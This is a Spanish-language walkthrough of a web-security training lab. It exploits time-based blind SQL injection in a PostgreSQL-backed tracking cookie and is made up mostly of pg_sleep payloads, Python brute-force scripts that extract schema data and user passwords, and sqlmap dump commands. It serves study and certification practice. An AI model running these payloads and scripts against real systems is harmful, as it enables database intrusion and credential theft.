Entrada

SQLI Lab 15

SQLI Lab 15

Skills

  • Blind SQL injection with time delays and information retrieval

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una Blind SQL Injection. La aplicación usa una cookie de seguimiento para análisis y ejecuta una consulta SQL que contiene el valor de la cookie enviada. Los resultados de la consulta SQL no se devuelven, y la aplicación no responde de manera diferente dependiendo de si la consulta devuelve filas o genera un error. Sin embargo, dado que la consulta se ejecuta de manera síncrona, es posible activar time delays para obtener información. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debemos explotar la Blind SQL Injection para descubrir la contraseña del usuario administrador. Para resolver el laboratorio, debemos iniciar sesión como el usuario administrador


Resolución

Al acceder a la web nos sale esto

Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId

He probado a añadir ', ", ) junto con los operadores or y and y no he encontrado ningún cambio en la web. Sin embargo he usado los operadores || para concatenar con pg_sleep(10) y web ha tardado 10 segundos en responder, además sabemos que nos estamos enfrentando a un PostgreSQL porque la instrucción pg_sleep(10) es propia de esta base de datos

1
Cookie: TrackingId=x28BMrUFiaXdwOX9'||+pg_sleep(10)--+-+; session=E2WYaiK3xD6cIhaLsbMrAy8CIgDpJN9Y

Con este payload podemos listar la versión

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length(version())>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

La longitud es de 134 caracteres

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length(version())=134)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Podemos usar este payload para bruteforcear carácter a carácter el output de la query al completo

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr(version(),1,1)='P')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Con este script de python vamos a iterar sobre el payload anterior

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 135):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr(version(),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                time_start = time.time()

                r = requests.get(url, cookies=cookies)

                time_end = time.time()

                if time_end - time_start > 2:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Vemos que nos encontramos ante una base de datos PostgreSQL

1
2
3
# python sqli_time_based.py
[┐] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr(version(),134,1)='t') then pg_sleep(2) else pg_sleep(0) end-- -
[|] Output: PostgreSQL+12.20+(Ubuntu+12.20-0ubuntu0.20.04.1)+on+x86_64-pc-linux-gnu,+compiled+by+gcc+(Ubuntu+9.4.0-1ubuntu1~20.04.2)+9.4.0,+64-bit

Podemos usar este payload para obtener la longitud de todas las bases de datos

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(datname,', ')+from+pg_database))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

La longitud es de 44 caracteres

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(datname,', ')+from+pg_database))=44)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Con este otro payload vamos a poder bruteforcear el nombre de las bases de datos

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(datname,', ')+from+pg_database),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Vamos a usar este script en python para iterar sobre el payload anterior

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 45):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(datname,', ') from pg_database),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                time_start = time.time()

                r = requests.get(url, cookies=cookies)

                time_end = time.time()

                if time_end - time_start > 2:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos todas las bases de datos

1
2
3
# python sqli_time_based.py
[├] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(datname,', ') from pg_database),44,1)='s') then pg_sleep(2) else pg_sleep(0) end-- - 
[q] Output: postgres,+template1,+template0,+academy_labs

En PostgreSQL cada base de datos contiene esquemas y solo podemos seleccionar los esquemas de la base de datos a la que estemos conectados. Para listar los esquemas de la base de datos actual primero debemos obtener la longitud

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(schema_name,', ')+from+information_schema.schemata))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

La longitud es de 38 caracteres

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(schema_name,', ')+from+information_schema.schemata))=38)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

Vamos a usar este payload para bruteforcear caracteres

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(schema_name,', ')+from+information_schema.schemata),1,1)='p')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

Mediante este script en python vamos a iterar sobre el payload anterior

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 39):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(schema_name,', ') from information_schema.schemata),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                time_start = time.time()

                r = requests.get(url, cookies=cookies)

                time_end = time.time()

                if time_end - time_start > 2:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtener los esquemas para la base de datos actual

1
2
3
# python sqli_time_based.py
[-] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(schema_name,', ') from information_schema.schemata),38,1)='a') then pg_sleep(2) else pg_sleep(
[↑] Output: pg_catalog,+public,+information_schema

Con este payload podemos obtener la longitud de las tablas del esquema public

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

La longitud es de 15 caracteres

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'))=15)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

Con este payload podremos las tablas del esquema public

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

Creamos este script en python para iterar sobre el payload anterior

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 39):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(table_name,', ') from information_schema.tables where table_schema='public'),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                time_start = time.time()

                r = requests.get(url, cookies=cookies)

                time_end = time.time()

                if time_end - time_start > 2:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos las tablas del esquema public

1
2
3
# python sqli_time_based.py
[▝] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(table_name,', ') from information_schema.tables where table_schema='public'),38,1)='~') then p
[↑] Output: users,+tracking

Desarrollamos un payload para obtener la longitud de las columnas de la tabla users

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(column_name,', ')+from+information_schema.columns+where+table_name='users'))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD 

La longitud es de 25 caracteres

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(column_name,', ')+from+information_schema.columns+where+table_name='users'))=25)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD 

Desarrollamos este payload para obtener el nombre de las columnas de la tabla users

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(column_name,', ')+from+information_schema.columns+where+table_name='users'),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD  

Con este script de python podemos iterar sobre el payload anterior

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 26):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(column_name,', ') from information_schema.columns where table_name='users'),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                time_start = time.time()

                r = requests.get(url, cookies=cookies)

                time_end = time.time()

                if time_end - time_start > 2:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el nombre de las columnas de la tabla users

1
2
3
# python sqli_time_based.py
[▄] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(column_name,', ') from information_schema.columns where table_name='users'),25,1)='l') then pg
[▝] Output: username,+password,+email

Desarrollamos este payload para obtener la longitud del contenido de las columnas username y password

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(username||':'||password,', ')+from+public.users))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Obtenemos que la longitud es de 92

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(username||':'||password,', ')+from+public.users))=92)+then+pg_sleep(1)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Desarrollamos este payload para bruteforcear el contenido

1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(username||':'||password,', ')+from+public.users),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD

Con este script en python podemos iterar sobre el payload anterior y obtener el contenido de las columnas username y password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 94):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(username||':'||password,', ') from public.users),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                time_start = time.time()

                r = requests.get(url, cookies=cookies)

                time_end = time.time()

                if time_end - time_start > 2:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el contenido

1
2
3
# python sqli_time_based.py
[▗] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(username||':'||password,', ') from public.users),92,1)='r') then pg_sleep(2) else pg_sleep(0) 
[◐] Output: administrator:mefrzkiwwyr2z3lo5g4h,+wiener:d8w4x8fizkczx3gkshpz,+carlos:kheuii6fcx7wucr3v3qr

También podemos conseguir estos datos usando sqlmap, lo primero es listar las bases de datos

1
2
3
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2
available databases [1]:
[*] public

Listamos las tablas de la base de datos public

1
2
3
4
5
6
7
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2 -D public --tables
Database: public
[2 tables]
+----------+
| tracking |
| users    |
+----------+

Listamos las columnas de la tabla users

1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2 -D public -T users --columns
Database: public
Table: users
[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| email    | varchar |
| password | varchar |
| username | varchar |
+----------+---------+

Listamos el contenido de las columnas username y password

1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2 -D public -T users -C username,password --dump
Database: public
Table: users
[3 entries]
+---------------+----------------------+
| username      | password             |
+---------------+----------------------+
| carlos        | bjv4v0umawo81xpuabf3 |
| wiener        | cwkdrxvxt29va31jyffo |
| administrator | iqmve5i0fvgzejvklope |
+---------------+----------------------+

Nos logueamos usando las credenciales administrator:iqmve5i0fvgzejvklope

![[image_3.png]]

![[image_4.png]]

Esta entrada está licenciada bajo CC BY 4.0 por el autor.